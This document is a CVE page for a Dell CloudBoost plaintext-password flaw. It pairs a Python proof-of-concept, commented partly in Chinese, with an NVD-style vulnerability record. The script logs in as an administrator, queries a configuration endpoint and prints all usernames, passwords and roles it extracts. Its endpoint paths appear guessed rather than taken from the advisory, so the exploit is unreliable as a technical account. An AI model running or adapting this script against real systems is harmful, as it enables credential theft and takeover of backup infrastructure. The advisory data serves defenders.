CVE-2026-21417

# CVE-2026-21417 PoC - Dell CloudBoost明文密码提取 # 需要高权限账户访问 import requests import json TARGET_HOST = "https://target-cloudboost.example.com" API_ENDPOINT = f"{TARGET_HOST}/api/v1/config" def exploit_cve_2026_21417(): """ CVE-2026-21417 Exploitation: Extract plaintext passwords from Dell CloudBoost Virtual Appliance < 19.14.0.0 """ try: # Step 1: Authenticate with high-privileged account auth_payload = { "username": "admin", "password": "admin_password" } session = requests.Session() auth_response = session.post( f"{TARGET_HOST}/api/v1/auth/login", json=auth_payload, verify=False, timeout=30 ) if auth_response.status_code != 200: print(f"[-] Authentication failed: {auth_response.status_code}") return None print("[+] Authentication successful") # Step 2: Access configuration endpoint to retrieve plaintext passwords config_response = session.get( API_ENDPOINT, params={"section": "users"}, verify=False, timeout=30 ) if config_response.status_code == 200: config_data = config_response.json() print("[+] Configuration data retrieved successfully") # Extract plaintext passwords plaintext_passwords = [] for user in config_data.get("users", []): if "password" in user: plaintext_passwords.append({ "username": user.get("username"), "password": user.get("password"), "role": user.get("role") }) print(f"[+] Found {len(plaintext_passwords)} plaintext passwords") return plaintext_passwords else: print(f"[-] Failed to retrieve config: {config_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": print("CVE-2026-21417 PoC - Dell CloudBoost明文密码漏洞") print("=" * 60) results = exploit_cve_2026_21417() if results: print("\n[+] Extracted credentials:") for cred in results: print(f" User: {cred['username']}, Pass: {cred['password']}, Role: {cred['role']}")

{"cve": {"id": "CVE-2026-21417", "sourceIdentifier": "[email protected]", "published": "2026-01-27T10:15:48.763", "lastModified": "2026-02-06T20:07:51.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell CloudBoost Virtual Appliance, versions prior to 19.14.0.0, contains a Plaintext Storage of Password vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges."}, {"lang": "es", "value": "Dell CloudBoost Virtual Appliance, versiones anteriores a la 19.14.0.0, contiene una vulnerabilidad de Almacenamiento de Contraseña en Texto Plano. Un atacante con altos privilegios y acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que llevaría a una Elevación de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-256"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:cloudboost_virtual_appliance:*:*:*:*:*:*:*:*", "versionEndExcluding": "19.14.0.0", "matchCriteriaId": "91B0DB8F-173A-47CD-98C9-88C5CC837A6D"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000419894/dsa-2026-025-security-update-for-dell-cloudboost-virtual-appliance-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}